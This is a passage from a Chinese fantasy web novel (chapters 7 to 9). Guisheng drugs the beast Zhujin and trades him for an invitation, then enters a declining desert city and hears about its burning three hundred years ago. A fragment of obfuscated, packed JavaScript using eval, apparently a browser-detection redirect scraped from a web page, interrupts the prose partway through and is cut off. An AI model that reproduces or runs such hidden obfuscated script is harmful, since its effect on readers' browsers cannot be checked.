“不论如何,先扣下来再说,说不定之后会派上用场呢?” 烛烬:“……” 他盯她片刻,道:“你不打算杀我?” 归笙:“那当然,你把我想成什么人了。” 烛烬:“好。” 他不再强撑,肩背一松,头颈一垂,瘫进水里不动了。 归笙:“……” 这回轮到她怀疑是不是有诈了:“不是,你这接受得也太快了吧?” 烛烬瘫在水里,喝了两口河水润了润嗓,慢慢道:“就算你不扣下我,我也要找地方养伤,而你正在被追杀,需要刻意隐匿行踪,所以留在你身边,我也能顺带藏身,不失为一个方便养伤的选择。” 归笙摸了摸下巴,笑道:“我本来还有点愧疚呢,你这么一说,我怎么感觉自己还做了件好事呢。” 她上前两步,一把将湿淋淋的玄婴兽从水里薅了起来。 归笙:“那么,咱们这就出发吧。” 她半抱半扛着玄婴兽走了几步,累得吭哧吭哧,不禁嚷嚷:“养伤的话,变小点会更好吧?你能不能变小点?” 烛烬也对她负重徒步的行为表达了由衷的不解:“你不是有乾坤袋吗,把我放进那个里面不是更省事?” 归笙:“不行啊,毛茸茸的手感太好,我的手它不让我松开啊。” 烛烬:“……” 臂弯里的兽体默默无语地消减下去,归笙甚是欣慰地将缩成猫儿大小的玄婴兽掂了两掂:“对对,就是这样。” 她甩出一爻:“这下可以走得快些了。” 之后便如原先的计划,归笙飞身涉过河滩,拱出山壁夹缝,顺利出了天霄派地界。 危机解除,归笙心头一松,略微放慢脚步。 她忽然道:“相逢即是缘,赶路无话未免有些枯燥无味,不如我们来聊聊天?权当解闷。” 烛烬被她一路飞檐走壁颠得五脏六腑都在翻腾,多说一个字都是与胃的激烈博弈,艰难地作出回应:“如果你不介意我吐你一身的话。” 归笙:“好极了!不对,我不是说你吐我一身好极了,我是说你不排斥和我聊天真是好极了。” 烛烬原本只是胃里翻腾,这会儿只觉被她唠得脑浆也开始晃荡。 没留意玄婴兽的死活,归笙已经一本正经地开始了自己的分析:“作为玄婴族的后裔,你四处流亡,应当见多识广。同时你仪表不凡,又应当博闻强识。总而言之,你一定是个知道很多事情的魔族……” 烛烬没对她稀碎的逻辑发表恶评,直截了当地道:“你有什么要问的?” 就等着他的这句话,归笙无比流畅地脱口道:“你有没有听过一种术法,可以在镜子里见到已经死去的人?” 7. 百闻渡 “你有没有听过一种术法,可以在镜子里见到已经死去的人?” “……” 玄婴兽轻轻地蹙了下眉。 头顶的人族依旧一副吊儿郎当的神气,似乎这句询问只是一个随口抛出的话茬,得不得到回答都无所谓的模样。 但环在他肋前的手臂,却无意识地收紧了。 她很紧张。 这个问题的答案,对这个人族来说很重要。 烛烬于是认真地回想了一番。 在血火纷飞的记忆中翻找良久,出乎意料地,他竟然真的在一处犄角旮旯里找到了线索。 斟酌片刻,烛烬道:“我没听过你说的这种术法,但听过另一种类似的。” 归笙从容不迫:“哦?那是什么样的术法?” 烛烬道:“也是在镜中显现,不过只能呈现在世之人。” 归笙脚底下一个惊天大踉跄,连带怀里的玄婴兽也是一个剧烈大颠簸。 烛烬:“……” 他受不了了,猛地从归笙臂弯里挣了出去,扑到了道旁的野草地上。 头一歪,吐了。 吐完火速刨土掩埋。 烛烬弓着背,在草叶上蹭干净嘴,自己都嫌弃得一阵奓毛。 缓过来后,他忽觉如芒在背,一回头,就见一双精光似溅的眼睛,死死锁定了他。 “……” 烛烬谨慎地退了一步。 归笙紧跟着追了一步。 她强行拗出镇定,却压抑不住颤抖的嗓音:“这种术法发源何处?” 归笙首先在心里排除了中州。 她师母早年足迹踏遍中州,见多识广,与师父结为道侣后,又很快将天霄派的授学内容归纳掌握,就连天霄派的禁书阁,师母也顺利潜入其中,三番五次便将主要知识誊抄了来。 听师母说,云起凡发现她溜进禁书阁后,还曾大发雷霆地来栖雪峰问罪,结果连她新设在峰底的镇山石都破不了,她坐在山头上一边欣赏云起凡破阵破到跳脚,一边朝下丢果子把他砸得满头大包,导致云起凡第二日的七峰集议都缺了席。 自那之后,云起凡吃一堑长一智,再未不自量力地管束过师母的行为。 所以有时候归笙觉得,云起凡如今之所以处处看她不顺眼,大概也是同叶晦一样,把他们对师母的无可奈何,转移到了她身上发泄。 扯远了,总之,归笙虽从未参与天霄派的正经授学,但师母毫无保留地将一身覆盖中州的学识传给了她,若这术法是中州产物,她不会全然无知。 归笙期待地望着烛烬,想着他就算给不出一个具体的地界,但至少可以指出西漠、北原、南溟、东丘中的一个。 然而烛烬摇摇头,道:“不知,毕竟我也只是略有耳闻。” 归笙大失所望,却并不绝望。 她想了想,一翻手,翻出一片荆芥叶来。 将叶片怼到玄婴兽的嘴边,归笙柔声诱哄:“接下来,我们要赶一段比较长的路,你含着这个会好受些。” 烛烬面无表情:“你若真想让我好受,就该把我丢进乾坤袋。” 而不是趴在她的手臂上,尽享路途的坎坷。 归笙微笑:“没门,除非你把你身上的毛发都烧光,否则我是不会放手的。” 烛烬无言以对。 片刻,他慢吞吞地走过来,一口含住归笙手里的荆芥叶。 含住的动作十分用力,颇有几分泄愤的意味。 归笙赞道:“能伸能屈,识时务者为俊杰也。” 烛烬没理会她这句极不真诚的夸赞。 他像是尝到了什么不可思议的东西般,缓慢而郑重地嚼着那片荆芥叶。 威风凛凛的玄婴兽面上,竟是露出几许懵然,又有几许迷醉的神情。 归笙眼眸弯弯,伸手在他的脊背上顺了顺毛:“怎么样?味道不错吧。” 烛烬不答,含着叶片,拱进她的臂弯,找了个还算舒适的姿势趴着。 归笙笑呵呵地把玄婴兽抱起来,抛出二爻,开始跟着核桃上路。 烛烬这才重新开口,声音有些飘忽:“去哪里?” 归笙故作高深地道:“你不知道这种术法发源何处,那我们就去找知道的人。” 烛烬“嗯”了一声,不再出声了。 归笙久久等不到他的追问,憋得抓心挠肝,破功道:“一般情况下这时候你不该追问一句‘这个人是谁’吗?” 烛烬淡淡地答:“无所谓,不是去北原就行。” 归笙奇道:“你就这么笃定这人并非身处北原?” 烛烬平静地道:“在北原,长了脑子都要十里八乡奔走相告,我不觉得那种地方会有人比我知道得更多。” 归笙评价:“你这点评多少掺点私人恩怨。” 烛烬默认。 归笙撇嘴:“好吧,确实不是去北原。” 她一指西坠的斜阳:“咱们向西行。” - 七日后。 “咳咳……” 一阵狂风刮过,归笙咳掉呛进嘴里的沙子,又一把抓起玄婴兽,胡乱用他的毛发把脸擦净。 烛烬:“……” 他嫌弃地看了眼毛发上暗黄的沙垢,无法理解:“你就非要站在风口?” 归笙点头如捣蒜:“应该就是要在这里等。” 烛烬不敢苟同:“你已经在这里半天了,除了吃了一肚子的沙,等到什么了。” 归笙也很郁闷,一指地上的石碑:“可是这碑上的字就是我要找的地方没错啊。” 半天之前,带路的二爻在这座石碑旁停下。 沙流没膝,石碑只露断残一角,颇有种无人问津的孤凉。 一连七日披星戴月的疲惫一扫而空,归笙快步上前,拂去石碑上厚厚的沙层,如愿以偿地见到了记忆中的名字:“百闻渡”。 …… “归笙,西漠边境的荒漠中,有一名为‘百闻渡’的闻讯归集之地,也就是江湖俗称的‘百晓生’。” “当世闻名的百晓生多为欺世盗名之辈,以至于假冒伪劣的传说泛滥横行,但这百闻渡我亲自去过,那主人是真的有点东西。” “若我以后不在了,你有什么一定要问的,可以去她那里……” 栖迟话音微顿,瞅了趴在膝头掉眼泪的小团子一眼。 她伸手,不客气地拧了下归笙微红的鼻尖,训斥道:“我讲的是什么煽情的故事吗?你怎么突然哭了?” 归笙抽了抽鼻子,抱住栖迟的大腿:“师母你不要用那种假设。” 栖迟数落她:“爱哭鬼,没出息。” 归笙瞪大了眼:“你上次还骂师兄从来不哭,一点都不好玩。” 栖迟笑嘻嘻道:“等你不爱哭了,我也会这么骂你的。” 归笙:“……” 栖迟将深沉思考还要不要继续装哭的归笙抱进怀里,拿袖子揩掉她要掉不掉的眼泪,又揉了揉她的脑袋。 她道:“不是假设,是那一天肯定会到来。” “虽然我很想,但我没法陪你一辈子的,归笙。” …… 从记忆中抽离,归笙捧住那座歪斜倒地的白色石碑,又仔细周密分辨了一回。 嗯,写的确实是“百闻渡”三个字没错。 同时,此地晒得要死,风大得要死,沙子多得要死,也是西漠边境的荒漠没错。 唯一错的,是这附近别说驿站渡口之类的建筑,等了半天,连半个人影都没见着。 莫非真的找错地方了? 归笙倒不是怀疑二爻寻觅的术法有瑕疵,只是如果对方使用了禁止被寻找的术法,二爻的灵髓又不如对方,就会被对方的术法干扰或屏蔽。 听到她的想法,功成身退的核桃悲愤地颤抖起来,似对她的质疑感到无比的痛心。 二爻如此笃定,归笙又拿不准了。 权衡片刻,她下定决心,扬手将玄婴兽抛到头顶,用来遮太阳。 归笙宣布道:“再等等,等满一整天还等不到活物的话,咱们就走。” 烛烬:“……” 寄人篱下,他无法发表意见。 一人一兽就这样等啊等,等到日至中天,又逐渐西斜。 星月初上,白日的灼热已全然散去,银汉寒辉下,夜风吹来的沙砾也似冰碴,割到脸上冷痛交加。 归笙打了个喷嚏,抱紧了怀里唯一的热源,即毛发浓密的玄婴兽。 也许是因为她抱的力道太过惊悚,后者显然不太愿意给她抱,一个劲地拿爪子抵她的脸,拼命往她的臂弯外挣扎。 归笙也自是不会让他得逞,使出百般手段极力阻挠。 一人一兽就这样激烈对抗起来,几个回合结束,归笙热血沸腾,终于没那么冷了。 归笙神清气爽,拎起玄婴兽的后颈皮,打算再在周围跑几圈,趁热打铁,将身子彻底暖起来,以捱过这荒原里的漫漫寒夜。 结果没跑几步,归笙一脚把一个圆滚滚的东西踢出老远。 归笙:“……” 烛烬:“……” 归笙委婉地问烛烬:“你觉不觉得,那个东西有点眼熟?” 烛烬一点也不委婉地回答:“是一颗人头。” 归笙背上的汗毛瞬间炸了一片。 白天她死死盯着周围这片地,连只过路的蚂蚁也休想逃过她的法眼,怎么会凭空冒出来一颗人头? ……除非这人头,是本来就在这沙地里的,只是不知什么原因,直到此刻才显露出来。 烛烬忽然道:“低头。” 归笙下意识俯下脖颈,又紧急刹住:“你能给我预警下地上有什么吗?” 烛烬道:“好多人头。” 归笙:“……” 烛烬补充:“但不是真的人头,不吓人。” 归笙一愣:这话是什么意思? 人头还能是假的? 做足心理建设,归笙把眼睛眯成一条缝,畏畏缩缩地向下探去。 待看清地上的光景,归笙不禁瞪大了眼。 还真是假的啊。 只见随风流淌的浅层沙砾间,一具具起伏的人体若隐若现,一颗颗圆润的头颅挨挨挤挤,静无声息地散乱满地。 但它们都不是活人,而是由沙块聚成的人俑。 这些人俑做得煞是逼真,不仅男女老少一应俱全,各式各样的表情亦栩栩如生,只是或许由于制作者的手癖,从这些表情里竟然找不见一个正面情绪,几乎全是惊恐、痛苦、绝望。 归笙蹲下身,打算抄起一只人俑近距离探查有何玄机。 却突然被扣住了手腕。 扣住腕部的事物冷硬异常,归笙下意识以为那是玄婴兽尾部的锁链。 于是她训烛烬道:“你别动我手,让我仔细瞧瞧。” 烛烬却道:“我没动。” 归笙:“别开玩笑,那谁拽我的手……” 话音未落,一人一兽齐齐一震。 看见地上成双的人影,归笙一把将肩头的烛烬揣进乾坤袋。 定了定神,归笙回头,霎时被一片煞白扑了满眼。 白发,白肤,白裳。 一尊白石雕像般的女人,不声不响地立在她的身后。 那对一眨不眨的白瞳间,爬满了裂石的纹路,又向外蔓延到高耸的颧骨上,如两只寄生在脸孔上的多足白蛛。 归笙试探地问:“是百闻渡的主人——一隐姑娘吗?” 女人这才有了反应。 她缓缓颔首,碎白的石屑从颈间簌簌下落。 归笙当即反握住手腕上的那只石手,两眼放光,开门见山地道:“一隐姑娘,久仰大名,我来问讯!” 一隐:“……” 许是被归笙瞬间反客为主的态度吓到,石头姑娘一时有些呆滞。 “……问讯,可以。” 片刻,一隐回过神来,稍稍启齿。 石质的牙关一张一合,碰击出幽冷森然的钝音。 “但,倘若,你,拿不出,相应的,报酬,你就,留下来,变成它们,中的一员,永远,在这里,陪我。” 归笙:“……好,的。” 话音才落,满地黄沙应声坍陷,成 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归笙于是道:“可有方法接近莲华殿?” 一隐道:“难,莲华殿素来不对西漠万物设防,但西漠一向出入森严,尤其自三百年前,遭遇焚城之劫后,更是关锁城门,鲜与外界互通。” 归笙一顿。 虽然早知西漠的没落源于一场变故,但此时听到确切的“焚城之劫”四字,她心头无端涌起一股怪异的感受。 像被一丝一缕的绵密针线穿扎戳刺,说不出的憋闷隐痛。 或许是因为她此刻算是半踏在西漠的地界上,所以触景生情? 虽然很是牵强,但也想不出别的解释了。 一隐接着道:“近五十年来,西漠唯一一次打开城门的由头,便是五日后的祈灵祭典。” 归笙:哦,在中秋宴上被天霄派修士看不上眼的那个祭典。 就在这时,一隐慢吞吞地掰下自己的左胳膊,捏碎了外层的石块,从中取出一卷洁白的帖书来。 “我这里恰好有一份莲华殿的请帖,就看你是否能拿出价值对等的事物来交换了。” 归笙信心满满:“绝对物超所值。” 她伸手一掏,将乾坤袋中的烛烬掏了出来。 一隐只看了一眼,惊讶之情便溢于言表:“玄婴兽?” 归笙:“没错,原来这世上还有这最后一只。” 她将兀自发懵的烛烬交到一隐手中,不忘叮嘱道:“不过,我刚刚催动的封灵散只能禁锢他十日左右,你得尽快找能制住他的新方法。” 归笙这一路坚持抱着烛烬,手感好只是一方面,更重要的另一方面,便是要神不知鬼不觉地将岑箐给她的封灵散敷入他的体内。 方才把他揣进乾坤袋,便是为了让他吸入袋中早先布下催散粉末。 钱货两讫,归笙需要最后确认一件事情:“你不会虐待他吧?” 一隐肃容:“如此珍贵之物,世人有眼无珠,才会对玄婴族赶尽杀绝。” 意思就是她会好好保管这最后一只玄婴兽的。 那归笙就放心了。 可别之后给他逃出来了,来向她寻仇就麻烦了。 烛烬昏昏沉沉,后知后觉地意识到,自己是被当作了交易的筹码。 那对浅金的竖瞳微微瞠大,似乎想瞪归笙,然而在散效下,瞳孔又不受控制地涣散开去,混沌失神。 归笙笑眯眯地,挠了挠他的下颌:“不要随便吃陌生人给的叶子呀。” 那给他止吐的荆芥叶表面,自然也涂满了封灵散,他还嚼得那么起劲。 烛烬被她挠得发痒,恢复了点意识,猛地扭头,挣开了她的手。 归笙纳罕:这是一路行来,她见过的这只魔兽最外露的情绪。 短暂的相处下来,归笙觉得作为一只魔兽,烛烬的情绪委实稳定得有些离奇了。 在中州的典籍里,魔族天性暴戾嗜血,性情残忍癫狂,以杀戮为乐。 归笙见过几只被天霄派结界捕获的魔族,确如典籍所言,被捕时利齿穿透凡人的半截尸体,在被修士一剑结果前的最后一刻,仍在恣意品尝着口中的鲜血。 但这一路上,别说伺机杀她取乐,烛烬恨不得离她十万八千里远,最喜欢的事情就是躲进乾坤袋中养伤打盹。 难道情绪稳定是他们玄婴族的特色吗?可若是玄婴族都如他这般淡如止水,又怎会沦落到北原妖魔对其喊打喊杀的境地? 不过,这些都与她无关了。 归笙向一隐告了辞,将请帖收进乾坤袋,轻快转身。 然而跟着二爻走了十来步,四面风沙渐大,竟到了迷眼的地步。 又勉强走了几步,归笙肩头一痛,被沙幕中一样凸硬的事物撞得一个踉跄。 夜色婆娑,风沙肆虐,即便咫尺之距,亦需凝目分辨。 归笙眯着眼,艰难地分辨出,撞到她肩膀的是一根粗壮悬空的横木。 只是这横木被打磨雕琢得极好,有精妙的花纹镌刻其间,显然不像是遗弃在荒漠中的废料。 越过横木,归笙看到一张惊慌失措的脸孔。 头发整齐衣着完好,能呼吸会眨眼,归笙迅速断定这是一个活人。 一阵风过,归笙又看到,此人前后左右,还有另外七个相同打扮的活人,皆是肩头架着一根横木,而在八根横木共同延向的中心,隐约显出一顶轿子的轮廓。 这大半夜的,哪来的贵人在荒漠里乘轿游玩? 正当归笙诧异时,轿中传出一道声音。 这声音被凛冽的漠风撕碎,性别不明,声线不明,语调不明。 唯有两个支离破碎的字眼,还算清晰地传到归笙耳际:“抱歉。” 这是代抬轿的人撞到她道歉? 还挺有礼貌。 归笙摆摆手:“无碍。” 随即与这一行抬轿的人擦肩而过。 彻底离开百闻渡前,归笙听到一隐的一句惊叹: “一介凡人,敢到此处,实属难得……” 8. 入西漠 归笙初开蒙时,师母曾为她讲解过五方域境的构成。 天霄派所在的中州,位如其名,坐落于五方域境的正中,境内大小门派林立,以人族修士和凡人为主,不过也有其他族群散布其间,比如时不时就有北原的妖魔等生物南下,侵害凡间。 正因如此,长久以来,中州各地的门派承担着护卫一方安宁的职责,并且这护卫越过了中州东边的界线,延展进了另一方的人族聚居之处——东丘。 东丘得中州庇护,本身又山陵环抱,因而偏安东方一隅,不惹是非。 不过,与其说是不惹是非,倒不如说是没那个能力多生是非,毕竟五方域境内,独此一境,无灵源、无灵髓,自然也无修士。 千百年来,东丘的凡人形成了自己的一套生息方式,与其他四境组成的修真界截然不同,但也有不少东丘的凡人出于自身的缘由来到修真界,或为谋求生计,或为寻仙问道,或别有所求,不胜枚举。 而在修真界,这些相对弱势的凡人,自会成为某些家伙作恶的首选,比如一些来自北原的家伙。 北原域境内,除了土生土长的妖魔鬼怪、魑魅魍魉外,便是从其他域境流浪而来的孤魂野鬼、不死怨灵等至阴至煞之物。 这些煞物群魔无首,谁都不服气谁,所谓的魔尊也不过是个随时会被击杀的活靶子,因而能在北原长期生存的族群或个体,不是实力足够强,就是心眼足够邪。 想到此处,归笙不禁想到某个连续被她坑了两次的玄婴族后裔。 嗯,烛烬应该是属于实力足够强的那一挂的。 短暂的走神结束,书接上文,说到“邪”,那就不得不提与北原隔中州相望的邪门之地——南溟。 有传言数百年前,南溟曾与中州相仿,山清水秀,宗门林立,是修士济济、凡人聚居的一方宝地。 而这之所以是传言,没个准话,是因为过去生活在南溟的人,在百年前的某一天,一夜之间全部死绝,知情者一个不剩。 如今的南溟,整个域境只剩一片汪洋死海。 数百年间,不是没有其他域境的势力动过深入南溟,占地为王,从而独霸一方灵源的心思,甚至有所记载的,集结成百上千名同行者一道前往南溟的行动亦不在少数。 然而他们的下场无一例外,皆是一去不回,杳无音信。 如此神秘而又凶险,充满诡谲的色彩,南溟海域内究竟存在着什么,古往今来的说法莫衷一是,唯有一句玄之又玄的俗语流传开来,成为其他四方谈之色变的共识: “南溟狱海,有进无出,有去无回。” 然而,即便有此等恶名在外,每隔一段时间,总是能听到又有不信邪的家伙闯入南溟地境,自此人间蒸发的惨闻。 对了,惨闻。 眼前的西漠,在三百年前,就有一桩惊天动地的惨闻。 没了毛茸茸的玄婴兽当擦眼布,归笙只得将自己的后领扯起,兜过头顶,拽到眼皮前遮挡风沙。 离开百闻渡已整整两日,归笙径直朝西漠腹地进发,一路上别的不说,这环境是越发恶劣了。 耳际狂风呼啸,若闻刀枪嘶鸣,灼日炽烈的吐息下,明黄的流沙霸踞视野,似熔金戮铁的汤汤岩浆,千里奔腾,恢弘不息。 如果不是感觉到自己的鞋底马上就要被烫穿了,归笙估计会有闲心欣赏这寥廓壮丽的大漠之景。 归笙默默调出四爻盾,没理会核桃激烈的反抗,摘下两只核桃片,往下一扔,踩在脚底。 随即她一个蹬地,“刺溜”一声,开始滑沙前行。 又滑了两日,第五日一大清早,就在归笙即将被活活晒成人干,并深深怀疑自己是不是就要错过祈灵祭典之时,终于遥遥望见了一堵高耸的城墙。 隔着密密斜织的赤金沙幕,那城墙连属蜿蜒,巍峨如山,色调暗沉,无端显出几分拒人千里之外的森冷,归笙光是远远看着,都觉得身上凉快了许多。 她捻掉睫毛上的沙子,加紧了步伐,不一会儿便滑到了城墙之下。 然而站到城门口,归笙捏着手里的请帖,一时丈二和尚摸不着头脑。 只见二丈高的城门虚虚掩着,留出一道黑魆魆的缝隙,门把上歪歪斜斜地挂着一只老旧铁锁,风一吹就掉铁皮,看上去已报废多年。 除此之外,城墙之下再无他物。 归笙觉得荒谬:不说守门的人了,核验请帖的人呢? “咳咳……咳咳……咳咳……” 毫无征兆地,一串沙哑的咳嗽响起。 随后便是一句困惑的询问:“小娃娃……你在等什么呢……咳咳……还不快进城去……” 归笙悚然大惊:这四下无人的,这人声是从哪里冒出来的? 她瞪着眼睛,循着声音左顾右盼,最终,目光匪夷所思地定格在了那块铁锁上。 “咳咳……不用看……正是老朽……” 铁锁灵光一闪,“扑通”一声,锁里掉出来个鹤发鸡皮的老伯。 老伯本身并不可怕,只是个寻常老者的模样,慈眉善目,和蔼可亲。 可怕的是老伯虽然坐在地上,但一只手臂和那铁锁融在了一起,整条手臂上爬满了斑斑的锈迹。 见归笙一副见了鬼的神情,铁锁老伯澄清道:“不必害怕……老朽并不是什么被困在铁锁里的孤魂野鬼……咳咳……老伯本身就是铁锁灵怪……只是因为近些年修为倒退……无法化出完整的人形罢了……咳咳……咳咳……” 灵怪。 归笙差点忘了,西漠本土的族裔里,最多的就是灵怪,其次才是人族。 灵怪老伯颤巍巍伸出那条人形的手臂,将城门的那道缝隙推得更宽敞了些,直到足够半人通行。 “咳咳……小娃娃……你是来参加祈灵祭典的吧……快进去吧……” 看着那道大剌剌朝她敞开的城门,归笙不禁对一隐口中的“出入森严”感到怀疑:“就,就这样?都不用核验我的请帖的吗?” 老伯微微一笑,道:“这请帖上……附有咱们灵主的髓华……” “若无这请帖护身……小娃娃……咳咳……你早就悄无声息地……融化在那茫茫大漠里了……恐怕这会儿……骨灰都给你扬了……哪能在这里……和老朽悠闲自在地……唠嗑呢……” 归笙:“……” 归笙:“感谢老伯解惑,感谢西漠的灵主。” 她不再迟疑,侧身钻入门缝。 门内是一条十人宽的空阔走道,尽头有一道拐角,涌动些微的光亮。 归笙顺着走道前行,边走边梳理脑中有关西漠的知识。 与同为修真界的其他三方相比,西漠最为突出的一个特质,便是其灵髓包容性极强,可令万物成为修士,甚至能赋予无生命之物以意识。 听说曾有人过于喜爱自己的人偶娃娃,便将其带来西漠待了一段时日,临走之时,那人偶娃娃已能够和主人谈笑风生,并肩而行。 师母早年也来过西漠,她对归笙描述过这么一个场景:西漠主城街上,吵架的两个人斗急了眼,双双斗篷一撂,化出一鸡一鸭的原形,就那么在大街上打了起来,打得鸡毛鸭毛满天乱飞,道旁杵着的一排柏树齐刷刷睁开眼睛,化出七八个人形,召来棋盘灵怪,边下棋边看打戏。 荒诞而又有趣,这还是在西漠没落的情况下出现的场景。 归笙不禁遐想:三百年前,西漠会是一派怎样生机蓬勃的盛况? 在外界的说法里,西漠没落的具体原因尚无定论,但开始没落的时间节点毫无争议,便是三百年前的一场焚城业火。 有人说,那场业火烧光了西漠的灵源;也有人说,那场业火烧死了支撑西漠的修士大能……但不管是哪种猜测,自那桩惨闻发生后,西漠的灵髓状况确实一落千丈,再不见昔日辉煌。 收敛思绪,归笙恰好转过那道拐角。 刹那之间,日光倾洒,一路呼啸耳侧的风沙嘶鸣急遽退远,满身赶路的疲倦困顿被一一抚平。 就好像在一瞬之间,被拥入了一个温柔的怀抱。 温柔到,几乎让人有种想要落泪的冲动。 归笙知道,这是西漠灵髓的气息。 只是这灵髓贫瘠微弱,似乎随时都会消散殆尽了。 归笙这样想着,后知后觉面上一片湿凉。 她一愣,不可思议地抬起手,摸到了满掌心的水泽。 归笙望了一圈,视线在头顶漏水的墙砖上一定,当即释然。 她还以为她真的哭了呢。 三两下擦干净脸,归笙进入城内,走出几步,想起什么,回头望了眼。 果然,城墙的内壁上,依稀可见火燎留下的斑驳印记。 归笙收回视线,向人声喧哗处走去。 与城外荒无人烟的景致截然不同,城内青柏荫陌,街衢周通,人流如织,各式店面鳞次栉比,吆喝叫卖不绝于耳,一派欣荣的红尘烟火气息。 倘若忽略路上走着走着就变回原形四肢着地的黄鼬灵怪,忘掉冷不丁踩中一只地砖灵怪而遭其破口大骂的悲惨经历,归笙几乎要觉得这城中风貌与中州凡间无甚区别。 说实话,归笙有些出乎意料,毕竟在天霄派那些老家伙的口中,西漠简直是个令他们的尊足无处可落的穷酸之地。 归笙:看来还是要眼见为实啊。 越往城池中心行进,越可见四面张灯结彩,节日氛围浓郁,想来正是因为今夜的祈灵祭典。 归笙走进一家客栈,环视一周,其中布局与中州的客栈并无二致,唯独天顶上的一个二人宽的洞,十分令她费解。 来到柜台前,掌柜一面替归笙登簿安排入住,一面同她闲谈:“姑娘不是西漠人士吧。” 归笙点点头,有些痛苦地道:“这么明显的吗?莫非是因为我矮得别具一格?方才从主城大道过来,几乎每个路过我的人都低头看了我一眼。” 掌柜被她逗笑:“可能不是因为这个原因,而是因为姑娘的衣着打扮十分精致。” 归笙看了看自己身上的□□补丁:“……?” 她师兄样样都好,唯独每次帮她补完衣裳后都要郁闷良久,尤其是有师父的高超绣工珠玉在前,更称得他的技艺黯然失色。 归笙对掌柜诚恳地道:“等我回去后一定要告诉我师兄,他打补丁的手艺竟然得到了您的夸赞。” 掌柜笑道:“虽然这些补丁也很精巧,但其实我说的是衣裳的材质。” 她目光歆羡,一寸寸抚过归笙身上的灰白衣袍:“将珍贵的髓华注入布料,这在我们西漠是想都不敢想的。” 归笙顿了顿,想起自己的衣裳脏洗换新全由云临渡一手经办。 好嘛,云临渡你小子,偷偷给她衣服上渡髓华,却不长嘴告诉她。 心情倏然好了许多,那股自进入城中便隐隐作怪的不得劲也烟消云散,归笙不由自主地弯了弯唇角。 “若似东丘那般,自鸿蒙初成时便无一丝灵源倒也罢了,可偏偏我们西漠也是辉煌过的,却因为那场大火沦落到如今这般拮据困窘的境地……不上不下,最是悲哀。” 许是在衣服上渡髓华的阔绰行为真的刺痛了这位掌柜,她一时谈兴大发,深深叹道:“最让人气意难平的是,那本是一场可以避免的人祸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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掌柜道:“塔顶名曰‘净世台’,供奉着一朵莲心。” 归笙:“‘莲心’?” 掌柜惊讶:“姑娘来参加祈灵祭典,不知莲心为何物?” 归笙心里一个咯噔,随即便理直气壮地道:“是你们灵主的疏忽,请帖上根本只字未提莲心。” 好在掌柜轻易地被她蒙骗了过去,附和道:“原来如此,这倒的确是灵主的不是。” 归笙瞅她一眼。 提起灵主,这位掌柜的语气陡然有了变化。 在天霄派,虽然一众峰主长老也不是很服气辈分小于他们的云起凡做掌门,但若有外人在他们面前说云起凡的不好,他们的第一反应也绝对是维护,毕竟事关天霄派的脸面,但凡心里向着自家宗门的,就不会不护。 然而这个掌柜,却顺着她的话说灵主的不是,想来是心中早有龃龉。 只不过,她有龃龉的究竟是灵主,还是其所代表的莲华殿,尚且不得而知。 归笙不动声色地问:“不知掌柜可否为我解答这‘莲心’的来龙去脉?” 掌柜道:“那是自然。” 她淡淡道:“这事要从三百年前说起,彼时西漠唯一的灵源——煌星木,因为莲华殿看守不力,死于那场焚城之焰,这也是西漠灵髓一蹶不振的真相。” 归笙:“……” 归笙没想到对方一开口就是个重磅真相,不禁弱弱地问:“这是我一个外人能听的吗?” 掌柜:“我敢说,姑娘你不敢听?” 归笙:“……敢,怎么不敢?我绝对守口如瓶。” 同时她确定了,这掌柜是真的对莲华殿有意见。 掌柜继续说道:“自煌星木枯死后,西漠万灵靠着其枯死前倾吐的灵髓支撑至今,三百年下来,残存的灵髓已不足以支撑西漠万物的修炼,越来越多的修士、灵怪出现反噬之状。” “在今夜的祈灵祭典上,当今莲华殿的灵主会乘辇出行,巡绕主城,虔诚诵咒,以向天道祈愿灵源复苏,灵髓丰沛……但祭典毕竟只是个美好的仪式,解决不了实际的问题。” “所以早在多年以前,莲华殿便在为这一天做准备——在莲华殿塔顶供奉一盏莲心,由莲华殿众多灵侍日夜诵咒,将一身髓华注入其中,使其成为人为创造的灵源,并在祈灵祭典结束后的第三日夜晚,将其在净世台上焚尽,使之散出多年积攒的灵髓,短暂阻止西漠万物的反噬加剧。” 归笙听完就觉得不对:“可是……这也只能解一时之困啊。” 这个方法说到底,相当于把灵侍在过去转化为髓华的灵髓再利用,通过莲心这个媒介重新放出,并无新的灵髓诞生,根本无法拯救西漠的衰颓之势。 掌柜:“是的,可是也没有其他办法。” 她的目光骤然深幽:“要怪,就只能怪莲华殿的初代灵主了。” 初代灵主? 归笙:“……这位初代灵主做了什么?” 掌柜:“当时业火焚城,他没能救下煌星木。” 归笙听得出,她已尽力让语气客观平静,但到底无法掩藏刻骨的怨恨。 对那位初代灵主的怨恨。 “那位初代灵主,分明深孚众望,受万灵景仰,却在临危之际,不堪大用。” “因为他一个人的错误,西漠灵源衰微,至今整整三百年。” 9. 祈灵祭 是夜,窗外锣鼓喧天,喜气洋洋。 归笙在客栈二层推开窗子,探头向外张望。 祈灵祭典的巡游仪仗,正从右侧的道路尽头徐徐而来,月明如昼下,花团锦簇间,一行行拖曳云辇的仙鹿若逶迤的雪浪。 夹道两侧的城民将早就准备好的祈灵信物掷上云辇,或是一束花,或是一片瓦,拼拼凑凑,缝缝补补,将原本略显素净的云辇装点得五彩斑斓。 归笙欣赏片刻,对这排场的感受是:清简却不寒酸,简单却不简陋。 就在这时,她听到了从云辇中传出的诵咒之声。 这声音分明无音无辞,却就是能传到每一人的耳际,若春风化雨,润物无声。 归笙听着,撑肘趴在窗台上,打算等仪仗到了近前再下楼去,同时掏出入住前掌柜塞给她的《莲华百解》。 这本书她下午已认认真真复地拜读了一遍,刚好这会儿再趁热打铁复习一遍。 根据书中所述,西漠和中州的宗门大不一样,其古时由于灵髓太过繁盛,繁盛到路边野草干站着晒太阳也能成精,因而修炼无需抢夺资源,只需顺其自然;又因境内万物有灵,殷殷相惜,所以最初诞生于西漠的人族,比起追求独孤不败,更在乎如何带着西漠万灵一道前行,于是自发聚集起来,在修炼之余,也将西漠治理得井然有序,便是当今莲华殿的前身。 灵怪或者人族,进入莲华殿便为“灵侍”,意喻“侍奉万灵”,灵侍各有主要修习的类别,如剑、丹、医……这就与中州宗门的修士划分大致相仿了。 